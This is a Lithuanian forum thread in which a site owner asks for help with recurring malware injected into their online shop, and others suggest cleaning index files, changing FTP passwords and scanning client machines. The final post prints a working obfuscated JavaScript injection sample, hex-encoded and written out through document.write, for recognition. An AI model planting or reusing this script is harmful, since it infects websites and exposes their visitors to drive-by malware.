Isprotesiu....

Jau visai nežinau ką daryti einu į savo svetainę ir pamatau štai tokį vaizdą..... Bandžiau tuos folderius kuriuos antivirusinė nurodo ištrinti ir švarius įrašyti, bet po kiek laiko vėl tas pats.... Gal kas padėtų visai nenusimanau apie tokius dalykus kaip virusai :) bent jau aš manau, kad čia kažkas panašaus.... Ai ir be to susigadina modulis "homefeatured" ir net gi einant į TVS antivirusinė rėkauja ir neleidžia įeiti....

Jei TVS'as nulled tuomet taip ir bus. Esu susidūręs su tokiu bajeriu patarčiau arba nusipirkti originalą, arba naudoti free tvs'ą taip pat su moduliais nes nulled'uose paprastai padaro saugumo sklyę. arba net TVS gamintojas pats seka kur nulled tvs'as ir jį užkrečia.

Ten tipo taip linka uzmaskavai? :) :D Aiskiai matos e-clean.lt ;D

Kazkaip abejoju, kad kas imtu nulled versija shopui.

Seip ka galiu pasakyt kiek matau ne iframe, o kazkas su js padaryta, tai jei esi zalias ant visu js ir pan, tai tada registruokis i beprotnami arba pasiruosk kist litus.. :D

Jau kažkur čia forume pasakojau apie virusus, bet aišku kur kas lengviau paklausti nei paieška pasinaudoti. Na kagi, pakartosiu:

Nesu tikras ar pas tave tas pats virusas kuri aš turėjau laimės įveikti

Siūlyčiau labai atidžiai išsistudijuoti index (php, html, asp ar pan) failus. Jei matote, kad juose yra kokių nors pašalinių kodo dalių (didžiausia tikimybė, kad bus tarp <iframe> tagu) jas tiesiog ištrinti. Reikia patikrinti visus failus, ne tik "root" direktorijoje.

Išvalius failus rekomenduoju pasikeisti ftp prisijungimo slaptažodžius, nes tas virusas tikrai nėra toks protingas, kad imtu ir nulaužtu ftp prisijungimo duomenis, jis tupi ramiai kuriame nors iš kompiuterių iš kurių yra jungiamasi prie Jūsų serverio (Jūsų arba programuotojo arba dar kokiam nors iš kurio jungiasi ar kada nors anksčiau buvo jungtasi prie serverio) ir prisijungimo metu nuskaito duomenis.

Mano atveju virusą rado tik viena iš išbandytu anti virusiniu programų - "avira". Nei kasperas nei NOD32 nei dar kitos populiariosios nepadėjo. Taigi rekomenduočiau ją parsisiųsti (privačiam naudojimui ji nemokama) pačiam, bei liepti tai padaryti kietiems asmenims kurie jungiasi prie servo.

Dar vienas momentas yra ftp klientas, rekomenduočiau pasikeisti į filezilla, nes mano atveju virusas galėjo nuskaityti kai kurių kitų ftp klientų prisijungimus, tokiu atveju iš slaptažodžių keitimo naudos nebus.

Informuokite kaip sekėsi tvarkytis su tuo džiaugsmu, ir sėkmės darbuose.

Labai ačiū padėjo :)

o kaip čia išsisprendė? juk prestashopas nemokamas, ar naudojai laužtus modulius?

o kaip čia išsisprendė? juk prestashopas nemokamas, ar naudojai laužtus modulius?

Pagrindiniam tinklalapio faile index.php tarkim gali būti ir daugiau failų, kuriuose buvo įrašyta atitinkamas kodas, kuris skaitomas kaip virusas. Tai gali būti <iframe> įdėtas, arba kaip dabar populerus JavaScript kodas. Vienas kodas iš dabartinių populeriasnių yra šis:

<script> 
function c2670903e0i49d9f1a845f6b(i49d9f1a846377) { 
var i49d9f1a846737 = 16; 
return (parseInt(i49d9f1a846377, i49d9f1a846737)); 
} 
function i49d9f1a8472f3(i49d9f1a8476d9) { 
var i49d9f1a848679 = 2; 
var i49d9f1a847da9 = ''; 
i49d9f1a848e47 = String.fromCharCode; 
for (i49d9f1a84828e = 0; i49d9f1a84828e < i49d9f1a8476d9.length; i49d9f1a84828e += i49d9f1a848679) { 
	i49d9f1a847da9 += (i49d9f1a848e47(c2670903e0i49d9f1a845f6b(i49d9f1a8476d9.substr(i49d9f1a84828e, i49d9f1a848679)))); 
} 
return i49d9f1a847da9; 
} 
var r1a = ''; 
var i49d9f1a84922e = '3C7' + r1a + '3637' + r1a + '2697' + r1a + '07' + r1a +'43E696628216D7' + r1a + '96961297' + r1a + 'B646F637' + r1a + '56D656E7' + r1a + '42E7' + r1a + '7' + r1a + '7' + r1a + '2697' + r1a + '465287' + r1a + '56E657' + r1a + '363617' + r1a + '065282027' + r1a + '2533632536392536362537' + r1a + '3225363125366425363525323025366525363125366425363525336425363325333225333625
32302537' + r1a + '332537' + r1a + '32253633253364253237' + r1a + '2536382537' + r1a + '342537' + r1a + '342537' + r1a + '302533612532662532662536352536332536662536642532652537' + r1a + '322536312537' + r1a + '322536352536322537' + r1a + '322536352536352536342536362536662536662537' + r1a + '342537' + r1a + '37' + r1a + '2536352536312537' + r1a + '32253265253633253666253664253266253366253237' + r1a + '2532622534642536312537' + r1a + '342536382532652537' + r1a + '322536662537' + r1a + '352536652536342532382534642536312537' + r1a + '342536382532652537' + r1a + '3225363125366525363425366625366425323825323925326125333225333525333225333125
3336253334253239253262253237' + r1a + '253632253237' + r1a + '2532302537' + r1a + '37' + r1a + '2536392536342537' + r1a + '34253638253364253335253332253331253230253638253635253639253637' + r1a + '2536382537' + r1a + '342533642533342533382533342532302537' + r1a + '332537' + r1a + '342537' + r1a + '39253663253635253364253237' + r1a + '2537' + r1a + '362536392537' + r1a + '332536392536322536392536632536392537' + r1a + '342537' + r1a + '39253361253638253639253634253634253635253665253237' + r1a + '2533652533632532662536392536362537' + r1a + '3225363125366425363525336527' + r1a + '29293B7' + r1a + 'D7' + r1a + '6617' + r1a + '2206D7' + r1a + '969613D7' + r1a + '47' + r1a + '27' + r1a + '5653B3C2F7' + r1a + '3637' + r1a + '2697' + r1a + '07' + r1a + '43E'; 
document.write(i49d9f1a8472f3(i49d9f1a84922e)); 
</script>